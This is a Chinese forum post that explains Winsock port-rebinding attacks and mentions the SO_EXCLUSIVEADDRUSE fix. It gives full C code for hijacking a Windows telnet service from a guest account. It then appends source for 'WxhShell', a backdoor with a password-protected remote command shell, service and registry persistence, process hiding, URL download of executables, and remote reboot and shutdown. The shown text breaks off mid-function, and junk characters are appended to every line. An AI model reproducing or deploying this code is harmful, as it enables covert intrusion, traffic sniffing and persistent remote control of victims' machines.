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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k$^`{6l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VP]%Hni]  
I~XSn>-H  
  saddr.sin_family = AF_INET; S{m% H{A!  
*;*r 8[U}q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PwLZkr@4^  
-3Vx76Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &:) Wh[  
83q6Sv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^y%T~dLkp'  
n.0fVV-A  
  这意味着什么?意味着可以进行如下的攻击: ZJs$STJ*  
L;I]OC^J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IO-Ow!  
[ibu/ W$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~$?ZK]YOrx  
0"bcdG<}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ea')$gR  
w`zTR0`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9q[oa5INd  
uW36;3[f#1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w+CA1q<  
lU8`F(Mn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /I0%Z+`=  
3:i@II  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TWFr 4-  
Ciz X<Cr}  
  #include B&uz;L3  
  #include k\GcHI-  
  #include RrQJ/ts7}  
  #include    )P|),S,;Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "LTad`]<Ro  
  int main() A~t j/yq9  
  { "a U aotx  
  WORD wVersionRequested; Y/zj[>  
  DWORD ret; W:L AP R  
  WSADATA wsaData; (JFWna0@  
  BOOL val; t{vJM!kdlQ  
  SOCKADDR_IN saddr; yaH Zt`Y  
  SOCKADDR_IN scaddr; YcpoL@ab  
  int err; rh}J3S5vp  
  SOCKET s; gSQJJxZ{?  
  SOCKET sc; @6T/Tdz  
  int caddsize; g7W"  
  HANDLE mt; |8tilOqI  
  DWORD tid;   V33T+P~j  
  wVersionRequested = MAKEWORD( 2, 2 ); FQ5U$x. [P  
  err = WSAStartup( wVersionRequested, &wsaData ); wDe& 1(T^  
  if ( err != 0 ) { z~ /` 1  
  printf("error!WSAStartup failed!\n"); f=K]XTw~  
  return -1; v z '&%(  
  } ;@|n @ax  
  saddr.sin_family = AF_INET; 7%eK37@u  
   SKsKPqz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wD'SPk5S?  
Z}Ft:7   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W v+?TEP  
  saddr.sin_port = htons(23); A{D];pE`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fy-t T]Q9  
  { HRfYl,S,  
  printf("error!socket failed!\n"); wEvVL  
  return -1; P me^l%M  
  } b B3powy9  
  val = TRUE; UrEs4R1#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 + @s"zp;F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qjv}$`M  
  { bAtSVu  
  printf("error!setsockopt failed!\n"); *wB1,U{  
  return -1; 5taT5?n2  
  } e h?zNu2=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P?of<i2E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ExL0?FemWV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L>4"(  
-4{<=y?"a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LuvY<~u  
  { lp%pbx43s  
  ret=GetLastError(); .jjG(L  
  printf("error!bind failed!\n"); ~%kkeh\j  
  return -1; P:MT*ra*,  
  } t=W}SH  
  listen(s,2); mSl.mi(JiZ  
  while(1) Trz@~d/[,n  
  { |imM# wF  
  caddsize = sizeof(scaddr); hy"\RW  
  //接受连接请求 ,M ^<CJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @O^6&\s>  
  if(sc!=INVALID_SOCKET) :(*V?WI  
  { K:# I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *d4 eK+U$5  
  if(mt==NULL) \\B(r  
  { XYOC_.f1  
  printf("Thread Creat Failed!\n"); VY=jc~c]v  
  break; h^(* Tv-!  
  } +E(L\  
  } = x)-u8P  
  CloseHandle(mt); DAr1C+Dy  
  } '$]97b7G  
  closesocket(s); >$/>#e~  
  WSACleanup(); O)n~](sC\  
  return 0; 8\A#CQ5b  
  }   eF-."1  
  DWORD WINAPI ClientThread(LPVOID lpParam) scz&h#0V  
  { 9w"4K.  
  SOCKET ss = (SOCKET)lpParam; 1JG'%8}#8  
  SOCKET sc; L2i_X@/  
  unsigned char buf[4096]; Pw`8Wj  
  SOCKADDR_IN saddr; nV/G8SeI  
  long num; y'nK>)WG4  
  DWORD val; lE(HFal0-(  
  DWORD ret; /dI&o,sA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (m(JK^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T;a}#56{^  
  saddr.sin_family = AF_INET; ~H<6gN<j(.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g(7rTyp4)  
  saddr.sin_port = htons(23); 1FL~ndJs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >rmqBDKaQ  
  { ZdWm:(nkU  
  printf("error!socket failed!\n"); ~t~k2^)|"  
  return -1; Q1I6$8:7  
  } x}I+Iggi  
  val = 100; &d?CCb$|0Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }?_?V&K|  
  { qv KG-|j  
  ret = GetLastError(); By",rD- r  
  return -1; RmeD$>7  
  } SBk4_J/_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k:#!zK}  
  { j[G  
  ret = GetLastError(); )e=D(qd  
  return -1; x,@B(9No  
  } Gd xnpE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V]e8a"/[{  
  { g63(E,;;J  
  printf("error!socket connect failed!\n"); /cQueUME`  
  closesocket(sc); vDhh>x(  
  closesocket(ss); B:S>wFE(.  
  return -1; i0kak`x0  
  } }t=!(GOb}  
  while(1) A,Vu\3HS  
  { ub#a`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CMG&7(MR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #3@rS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aU "8{  
  num = recv(ss,buf,4096,0); FF(#]vz'  
  if(num>0) PI:4m%[  
  send(sc,buf,num,0); 17[3/m8a  
  else if(num==0) CR`Q#Yi  
  break; RYQR(v  
  num = recv(sc,buf,4096,0); t?-n*9,#S  
  if(num>0) 5z8d} I  
  send(ss,buf,num,0); b"uu  
  else if(num==0) TA`1U;c{n  
  break; ~"&|W'he[  
  } (ybI\UI  
  closesocket(ss); WwBOM~/`2  
  closesocket(sc); ;!mzyb*  
  return 0 ; L:pYn_  
  } d *|Y o  
L~rBAIdD  
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========================================================== +_?hK{Ib"  
8:c-k|CX  
下边附上一个代码,,WXhSHELL ]}-7_n#cC  
rq/yD,I,  
========================================================== r6MMCJ|G  
+ocol6G7W  
#include "stdafx.h" fF$<7O)+]  
L_uVL#To  
#include <stdio.h> NMa}{*sQ  
#include <string.h> :I j{s  
#include <windows.h> ,]ma+(|  
#include <winsock2.h> tqvN0vY5  
#include <winsvc.h> a}BYov  
#include <urlmon.h> 6ryak!|[  
Ic"ybj`  
#pragma comment (lib, "Ws2_32.lib") Pw7]r<Q  
#pragma comment (lib, "urlmon.lib") ,.83m%i  
['X]R:3h  
#define MAX_USER   100 // 最大客户端连接数 Utj&]RELK  
#define BUF_SOCK   200 // sock buffer 0neoE E  
#define KEY_BUFF   255 // 输入 buffer Qcq`libK  
?wiC Q6*$  
#define REBOOT     0   // 重启 b8`)y<7  
#define SHUTDOWN   1   // 关机 &I+5  
<;eW=HT+uq  
#define DEF_PORT   5000 // 监听端口 1#V_Z^OL  
+j`5F3@  
#define REG_LEN     16   // 注册表键长度 3nIU1e  
#define SVC_LEN     80   // NT服务名长度 L O_k@3  
SIF/-{i(X  
// 从dll定义API [fya)}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @Q ]=\N:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zUkgG61  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dUeN*Nq&(,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )BZ.Sv  
KQaxvU)L  
// wxhshell配置信息 g|DF[  
struct WSCFG { q1$N>;&  
  int ws_port;         // 监听端口 U3ADsdn  
  char ws_passstr[REG_LEN]; // 口令 Cx(>RXVoJ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no $k@O`xD,q  
  char ws_regname[REG_LEN]; // 注册表键名 ??-[eB.  
  char ws_svcname[REG_LEN]; // 服务名 W+aP}rZm:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <y2U3; t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (^8Y|:Tz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o]J{{M'E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P_dCR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u<7/0;D#+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xk~D$~4<  
Gv!2f  
}; ~NrG` D}  
=t#llgi~  
// default Wxhshell configuration ~9a<0Mc?  
struct WSCFG wscfg={DEF_PORT, I+%[d^,  
    "xuhuanlingzhe", x*/t yZg6  
    1, [64:4/<}  
    "Wxhshell", \+oQd=K@  
    "Wxhshell", 7{e  4c  
            "WxhShell Service", r_)' Ps  
    "Wrsky Windows CmdShell Service", ?(' wn<  
    "Please Input Your Password: ", GfxZ'VIn  
  1, fa jGZyd0:  
  "http://www.wrsky.com/wxhshell.exe", :KSV4>X[%a  
  "Wxhshell.exe" Z, zWuE3  
    }; #vz7y(v  
Q 04al=  
// 消息定义模块 y|C(X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VZp5)-!\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !_]Y~[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d\&U*=  
char *msg_ws_ext="\n\rExit."; /kZebNf6H  
char *msg_ws_end="\n\rQuit."; Dzpq_F!;V  
char *msg_ws_boot="\n\rReboot..."; z\\[S@>pt  
char *msg_ws_poff="\n\rShutdown..."; .9/ hHCp  
char *msg_ws_down="\n\rSave to "; R$h<<v)%  
j"t(0 m  
char *msg_ws_err="\n\rErr!"; WrnrFz  
char *msg_ws_ok="\n\rOK!"; g+8OekzB5  
@N>\|!1CC  
char ExeFile[MAX_PATH]; 4qb/da E:Z  
int nUser = 0; SXSgld2uS  
HANDLE handles[MAX_USER]; I13y6= d  
int OsIsNt; a=|K%ii+Y  
zq 3\}9  
SERVICE_STATUS       serviceStatus; }kw#7m54  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @+&LYy72  
DTX0  
// 函数声明 DzAg"6=CS  
int Install(void); yJ[0WY8<kC  
int Uninstall(void); QGMV}y  
int DownloadFile(char *sURL, SOCKET wsh); <O(4TO  
int Boot(int flag); |%BOZT  
void HideProc(void); b <tNk]7  
int GetOsVer(void); S*,17+6dV  
int Wxhshell(SOCKET wsl); sf:,qD=z  
void TalkWithClient(void *cs); !4ocZmj\  
int CmdShell(SOCKET sock); KaLzg5is  
int StartFromService(void); q\9JgD)  
int StartWxhshell(LPSTR lpCmdLine); F#3Q_G^/  
+r�  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SpIv#?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <v"R.<  
$!-yr7  
// 数据结构和表定义 k90YV(  
SERVICE_TABLE_ENTRY DispatchTable[] = iOf<$f  
{ $H2u.U<ip  
{wscfg.ws_svcname, NTServiceMain}, *l(7D(#  
{NULL, NULL} 3p$?,0ELH  
}; =ke2;}X  
R)?*N@.s  
// 自我安装 [CTnXb  
int Install(void) /m!BY}4W  
{ #JqB ;'\  
  char svExeFile[MAX_PATH]; <X#C)-.  
  HKEY key; [>vLf2OID  
  strcpy(svExeFile,ExeFile); (fhb0i-  
"syI#U{  
// 如果是win9x系统,修改注册表设为自启动 n.}ZkG0`  
if(!OsIsNt) { 7RQR)DG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "-E\[@/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &.F4 b~A7  
  RegCloseKey(key); SjK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FBG4pb9=~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B5`EoZ  
  RegCloseKey(key); `C,n0'PL.  
  return 0; x[| }.Ew  
    }  > ^O7  
  } \Zb;'eDv  
} 8%:Iv(UMk  
else { 2/U.| *mH  
qRu~$K  
// 如果是NT以上系统,安装为系统服务 -D<< kra  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q@=Q0  
if (schSCManager!=0) zWnX*2>b  
{ xPdG*OcX!  
  SC_HANDLE schService = CreateService \wmN  
  ( .w:DFk^E]b  
  schSCManager, M+oHtX$  
  wscfg.ws_svcname, XjBW9a  
  wscfg.ws_svcdisp, 1Te %F+7  
  SERVICE_ALL_ACCESS, !OZy7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GWGSd\z  
  SERVICE_AUTO_START, 2V]UJ<  
  SERVICE_ERROR_NORMAL, #j;^\rSv-  
  svExeFile, &Hrj3E  
  NULL, >e lJkq|  
  NULL, )J=!L\  
  NULL, D2 #ZpFp"h  
  NULL, I2XU(pYU  
  NULL -$\y_?}  
  ); }YQX~="  
  if (schService!=0) mb 1FWy=3  
  { aI'&O^w+  
  CloseServiceHandle(schService); 3s*mbk[J  
  CloseServiceHandle(schSCManager); A]*}HZ ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fT|.@%"vc  
  strcat(svExeFile,wscfg.ws_svcname); +tB=OwU%0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zE*li`@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rV.}PtcFY  
  RegCloseKey(key); ` #0:gEo  
  return 0; ;J'LS  
    } 1> ?M>vK  
  } n>z9K')  
  CloseServiceHandle(schSCManager); IZf{nQ[0  
} ]dVGUG8  
} 4>YR{  
t}_r]E,{u  
return 1; cx,+k]9D  
} 39c2pV[  
g_E$=j92v  
// 自我卸载 ?PLPf>e  
int Uninstall(void) P-[-pi@  
{ 3F"lXguS  
  HKEY key; v@sIHb  
qfF~D0}  
if(!OsIsNt) { D'>_I.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cbjs9bu  
  RegDeleteValue(key,wscfg.ws_regname); H.P_]3f  
  RegCloseKey(key); Xc ++b|k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #&+{mCjs  
  RegDeleteValue(key,wscfg.ws_regname); T}Tp$.gB  
  RegCloseKey(key); 2F[ q).  
  return 0; S E<FL/x1#  
  } ]Ee?6]bN  
} VO5#Qgen  
} ^^u5*n+5  
else { y G~?MEh{  
_{ue8kGt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,O5NLg-  
if (schSCManager!=0) ~i= _J3'  
{ \0gis#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B^=-Z8  
  if (schService!=0) pp?D7S  
  { D_2:k'4  
  if(DeleteService(schService)!=0) { Q>qUk@  
  CloseServiceHandle(schService); t|?ez4/{z  
  CloseServiceHandle(schSCManager); j a[Et/r  
  return 0; k?yoQL*  
  } &N9 a<w8+  
  CloseServiceHandle(schService); Yu/ID!`Z  
  } krxo"WgD  
  CloseServiceHandle(schSCManager); OG~gFZr)6  
} u2 I*-K  
} r+!YI k  
\<h0Q,e  
return 1; -/B+T>[nTb  
} Z3e| UAif  
/V8 #[9K  
// 从指定url下载文件 yqs4[C  
int DownloadFile(char *sURL, SOCKET wsh) ,oe <  
{ u]wZQl#-  
  HRESULT hr; .8g)av+  
char seps[]= "/"; ~%F9%=  
char *token; !.$I["/=  
char *file; 9)yJ: N#F  
char myURL[MAX_PATH]; .~db4d]  
char myFILE[MAX_PATH]; KM0ru  
L< S9  
strcpy(myURL,sURL); wo}H'Q}Hj  
  token=strtok(myURL,seps); }v;V=%N+v  
  while(token!=NULL) ~G p [_ %K  
  { .<?GS{6 N  
    file=token; CT@ jZtg0  
  token=strtok(NULL,seps); Mexk~z A^  
  } ;a!S!% .h  
Rh2+=N<X  
GetCurrentDirectory(MAX_PATH,myFILE); OKZV{Gja  
strcat(myFILE, "\\"); fm%t^)E  
strcat(myFILE, file); A|[?#S((]  
  send(wsh,myFILE,strlen(myFILE),0); @u+]aI!`-  
send(wsh,"...",3,0); eeg)N1\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fb7;|LF  
  if(hr==S_OK) )* :gqN  
return 0; ]#<4vl\  
else ]EbM9Fo-U  
return 1; K g*Q  
NX.6px17  
} GKqm&/M*=  
;O5zUl-`  
// 系统电源模块 Ty\R=y}}  
int Boot(int flag) ;C#F>SG\S  
{ HWAdhDZ  
  HANDLE hToken; ,pfG  
  TOKEN_PRIVILEGES tkp; M^Yh|%M  
ja'T+!k  
  if(OsIsNt) { CkC^'V)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Po;W'7"Po`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Y.tht H  
    tkp.PrivilegeCount = 1; !TH) +zi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kn{4;Xk\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3NqB <J  
if(flag==REBOOT) { \\ij(>CI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :G=fl)!fE  
  return 0; Ny7S  
} 5I;&mW`1,`  
else { /<k/7TF`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (/YHk`v2  
  return 0; <nf@U>wlw  
} ]mq|w  
  } m~ABC#,2  
  else { wm@@$  
if(flag==REBOOT) { qo~O|~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EWt[z.`T1  
  return 0; //MUeTxR  
} **0~K";\  
else { h4}84}5d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X`/k)N>l  
  return 0; 3*bU6$|5FP  
} qZh/IW  
} aK~8B_5k8  
K3m/(jdO  
return 1; -ad{tJV|  
} :kV#y  
}#+^{P3;  
// win9x进程隐藏模块 }&D WaO]J7  
void HideProc(void) kazzVK5x  
{ 0> E r=,e  
rXq.DvQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c#]4awHU  
  if ( hKernel != NULL ) 3`?7 <YJ  
  { T<>,lQs(a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .43'HV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y-z(zS^1  
    FreeLibrary(hKernel); zI uJ-8T"  
  } =%O6:YM   
fbvL7* (  
return; /s?`&1v|r  
} DfD&)tsMQ  
N>1em!AS  
// 获取操作系统版本 hfB%`x#akQ  
int GetOsVer(void) R w\gTo  
{ 4"ZP 'I;  
  OSVERSIONINFO winfo; SulY1,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gVuFHHeUz  
  GetVersionEx(&winfo); n8[!pH~6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E]d. z6k  
  return 1; Ne!lH@ql  
  else wQf-sk#  
  return 0; ?j.,Nw4FC  
} {YC@T(  
3,w_ ".m`#  
// 客户端句柄模块 H8jpxzXv  
int Wxhshell(SOCKET wsl) 1GRCV8 "Z^  
{ >R_&Ouh:  
  SOCKET wsh; J)> c9w  
  struct sockaddr_in client; _LnpnL:  
  DWORD myID; .Efk*  
(WJRi:NP?  
  while(nUser<MAX_USER) Jpq~  
{ w2c?.x  
  int nSize=sizeof(client); h#*dI`>l-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S hWJ72c  
  if(wsh==INVALID_SOCKET) return 1; ^76]0`gS  
e9tjw[+A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WU` rh^  
if(handles[nUser]==0) cjY-y-vO  
  closesocket(wsh); 6MW{,N  
else P+sW[:  
  nUser++; gH vZVC[b  
  } ]EAO+x9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i]4I [!  
n@i HFBb  
  return 0; WwFm*4{[o  
} r6qj7}\  
>=>2m2z=  
// 关闭 socket Or+U@vAnk  
void CloseIt(SOCKET wsh)  _[3D  
{ }X6m:#6  
closesocket(wsh); $%Kf q[Q  
nUser--; +\A,&;!SR  
ExitThread(0); 3hH<T.@)  
} =nS3p6>rZ  
#!# l45p6  
// 客户端请求句柄 6 "sSoj  
void TalkWithClient(void *cs) B9 uoVcW  
{ WH}y"W  
{P./==^0  
  SOCKET wsh=(SOCKET)cs; I236 RIq  
  char pwd[SVC_LEN];  (ZizuHC  
  char cmd[KEY_BUFF]; F>l] 9!P|m  
char chr[1]; ?l )[7LR4  
int i,j; Avc%2 +  
T^KKy0ZGM  
  while (nUser < MAX_USER) { 59A}}.@?m  
)akoa,#%6c  
if(wscfg.ws_passstr) { ~mxO7cy5Cg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7}>EJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ki!0^t:9  
  //ZeroMemory(pwd,KEY_BUFF); t*u:hex  
      i=0; WT=;:j  
  while(i<SVC_LEN) { ~!L} yw  
4VSU8tK|N]  
  // 设置超时 Sm|6 %3  
  fd_set FdRead; VA5xp]  
  struct timeval TimeOut; tWRC$  
  FD_ZERO(&FdRead); 9A=,E&  
  FD_SET(wsh,&FdRead); 4HlQ&2O%#  
  TimeOut.tv_sec=8; M2Qr(K|  
  TimeOut.tv_usec=0; (A#^l=su  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VONDc1%ga  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eauF ~md,  
0h_|t-9j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T8g$uFo  
  pwd=chr[0]; /x$nje,.  
  if(chr[0]==0xd || chr[0]==0xa) { ;_(4Q*Yx  
  pwd=0; Q2gq}c~  
  break; TeM|:o  
  } QWYJ *  
  i++; lo+A%\1  
    } :F?C)F  
4B.*g-L   
  // 如果是非法用户,关闭 socket ga+dt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a~w$#fo"`f  
} L8B! u9%  
rILYI;'o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7. oM J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4hj|cCrO  
S9.o/mr  
while(1) { hgq;`_;1,  
0=YI@@n)  
  ZeroMemory(cmd,KEY_BUFF); qE"OB  
zDG b7S{  
      // 自动支持客户端 telnet标准   z03K=aZ  
  j=0; 9'B `]/L  
  while(j<KEY_BUFF) { |BXg/gW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zh~'9 JH  
  cmd[j]=chr[0]; yWSGi#)1  
  if(chr[0]==0xa || chr[0]==0xd) { h376Be{P  
  cmd[j]=0; <hyKu  
  break; /{I$#:M  
  } 2,b$7xaf  
  j++; Bzf^ivT3L  
    } > (<f 0  
$& c*'3  
  // 下载文件 *.[. {qG(  
  if(strstr(cmd,"http://")) { 'w aaw_>b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tw@X> G1z  
  if(DownloadFile(cmd,wsh)) @0''k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Di{de`  
  else =3P)q"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %|oym.-I6  
  } At;LO9T3z  
  else { h?U O&(  
"{t$nVJ  
    switch(cmd[0]) { P%n>Tg80M  
  a<e[e>  
  // 帮助 SpBy3wd  
  case '?': { DEgXQ[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LghfM"g  
    break; u ga_T  
  } vY3h3o  
  // 安装 A#,ZUOPGH  
  case 'i': { Q>z8IlJ}  
    if(Install()) .}+}8[p4l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *-X[u:  
    else %BODkc Zh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PA*5Bk="q  
    break; "[N!m1i:{  
    } ;tf=gdX;  
  // 卸载 DY*N|OnqJ  
  case 'r': { EU#^7  
    if(Uninstall()) |7~<Is~ *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >$7B wO  
    else zH r_!~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z\sDUJ  
    break;  M6TD"-  
    } /-s6<e!  
  // 显示 wxhshell 所在路径 |s_GlJV.  
  case 'p': { DmcZta8n]  
    char svExeFile[MAX_PATH]; 1Y,Z %d  
    strcpy(svExeFile,"\n\r"); kx^/*~ex  
      strcat(svExeFile,ExeFile); K=&>t6s<  
        send(wsh,svExeFile,strlen(svExeFile),0); *qq+jsA6wH  
    break; XWw804ir  
    } {;oPLr+Z  
  // 重启 J}t%p(mb  
  case 'b': { :(%5:1W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lTsjxw o  
    if(Boot(REBOOT)) "@n%Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dh\P4  
    else { =(^3}x  
    closesocket(wsh); mE[y SrV  
    ExitThread(0); V]^$S"Tv  
    } X8\GzNE~R  
    break; An@t?#4gxi  
    } ssL\g`xe  
  // 关机 xSu >  
  case 'd': { F0# 'WfM#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *zLMpL_  
    if(Boot(SHUTDOWN)) AQ Ojit6p  
